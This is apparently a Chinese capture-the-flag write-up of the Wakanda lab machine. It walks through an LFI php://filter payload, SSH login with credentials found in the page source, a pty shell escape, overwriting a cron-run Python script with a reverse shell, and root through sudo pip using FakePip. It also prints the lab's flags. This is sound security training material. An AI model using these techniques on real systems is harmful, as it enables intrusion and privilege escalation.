0x00 前言
一个难度适中,标准的Boot-to-Root靶机
目标:
- flag1.txt
- flag2.txt
- root.txt
0x01 靶机地址
0x02 环境搭建
下载好的voa文件之后,直接用Vbox导入,然后将网卡改成桥接模式,利用VBoxManage 查看IP
- 靶机IP:192.168.1.105
- 攻击机Ubuntu:192.168.1.166
- 攻击机win7:192.168.1.61
0x03 Play
1.信息收集
1 | nmap -sT -p- -v -A 192.168.1.105 -oN wakanda.txt |
有四个端口是开放的 web、RPC、SSH 三大服务
RPC服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号的。简单理解RPC就是一个中介服务。
2.漏洞检测与利用
打开 http://192.168.1.105/
web 主页
常规扫下目录:
1 | ./dirb http://192.168.1.105 ./wordlists/common.txt |
虽然发现几个目录 但Size都为0或者403,只能查看index的源码了。
于是尝试http://192.168.1.105/index.php?lang=fr
说明这个参数是改界面语言的,所以可能是文件包含,于是尝试下过滤器,包含自己,得到源码。
http://192.168.1.105/index.php?lang=php://filter/read=convert.base64-encode/resource=index
然后解码后
1 |
|
3.Getshell
但是这个文件包含非常鸡肋,不能跨目录 也不能远程包含
收获一个Niamey4Ever227!!!
密码 和一个可能是用户名的mamadou
使用该账密 尝试登陆ssh
ssh -p 3333 mamadou@192.168.1.105
登陆成功 但是有丝奇怪,是一个python shell
无数次反弹shell失败之后,利用py的pty把完全交互式的终端弄出来。
1 | from pty import spawn |
查看所有文件 发现一个flag1.txt文件 并得到flag1
Flag : d86b9ad71ca887f4dd1dac86ba1c4dfc
4.提权
查看/etc/passwd 查找系统用户 然后进入其home文件夹中查看其文件
然后进入其home文件夹中查看其文件 找到了个flag2.txt 但是无奈权限不够
1 | mamadou@Wakanda1:~$ cd /home/devops/ |
全局查找下 devops的文件 find / -user devops 2>/dev/null
发现了 7个文件
一个临时目录下的test文件 一个flag2.txt 一个bash的配置文件 一个环境变量文件 还有个隐藏的py文件
/srv :主要用来存储本机或本服务器提供的服务或数据。(用户主动生产的数据、对外提供服务)
/var :系统产生的不可自动销毁的缓存文件、日志记录。(系统和程序运行后产生的数据、不对外提供服务、只能用户手动清理)(包括mail、数据库文件、日志文件)
/tmp :保存在使用完毕后可随时销毁的缓存文件。(有可能是由系统或程序产生、也有可能是用户主动放入的临时数据、系统会自动清理)
分别cat 一下
1 | cat /tmp/test |
说明 test文件 是 /srv/.antivirus.py 建立的
测试该文件是否自动运行。
1 | mamadou@Wakanda1:~$ grep -R /srv/.antivirus.py / 2>/dev/null |
每隔300s运行一次。于是可以写一个反弹shell的py文件 覆盖.antivirus.py文件
1 | import socket,subprocess,os; |
五分钟过去了,终于反弹了shell
然后查看flag2.txt
Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098
查看用户权限: sudo -l
只能以超级权限够执行pip ,可以用FakePip进行提权
这个脚本通过在pip重新安装时执行的setup.py文件中插入shellcode,导致其可通过pip反弹root权限的shell给攻击机
将文件clone下来 然后修改下IP即可
1 | git clone https://github.com/0x00-0x00/FakePip.git |
然后开启python简易服务器,监听443端口
1 | python -m SimpleHTTPServer 80 |
然后下载即可
1 | wget http://192.168.1.166/setup.py |
使用README上的命令安装即可
1 | sudo /usr/bin/pip install . --upgrade --force-reinstall |
返回了shell ,接下来就是查看root.txt 了
0x04 回顾
- 打开web端,扫了下目录,并没有发现有用的文件夹,于是乎查看唯一个页面的源码,发现提示
?lang
可以改变语言,然后测试了下,该处存在文件包含漏洞,但是无法远程包含,也无法跨目录,所以只得查看了唯一的页面源码。 - 查看了index源码,发现了一个用户名和密码,然后利用ssh登录上去,是一个Python的shell,开始想着是反弹shell,一顿操作过后并没有反弹出来,于是百度,找到了个
pty
,可以把shell给弄出来。 - 拿到shell之后 发现了本目录下有个
flag1.txt
,然后读取了下/etc/passwd
找到了另外一个系统用户devops,然后全局查找了下属于该用户的文件,发现了俩个有用的文件,一个/tmp/test
,一个/srv/.antivirus.py
。查看后者源码,才知道test文件是其产生的,于是测了下文件,知晓其为每300s自动运行一次,于是在该文件中插入shellcode,反弹了devops的shell - 拿到devops的shell之后,cat了该目录下的flag2.txt。然后查看了下该用户的权限,发现只能以sudo权限运行pip,于是借助
Fakepip
提权,反弹root权限的shell,最后查看root.txt,game over!!!
0x05 难点
- LFI 比较隐蔽很难找到这个入口
- cms主页中@开头的一个名字,很难联想到是用户名
- python shell 利用pty 转成bash shell
- 测试/srv/.antivirus.py的运行状况,然后插入shellcode
- 利用Fakepip 提权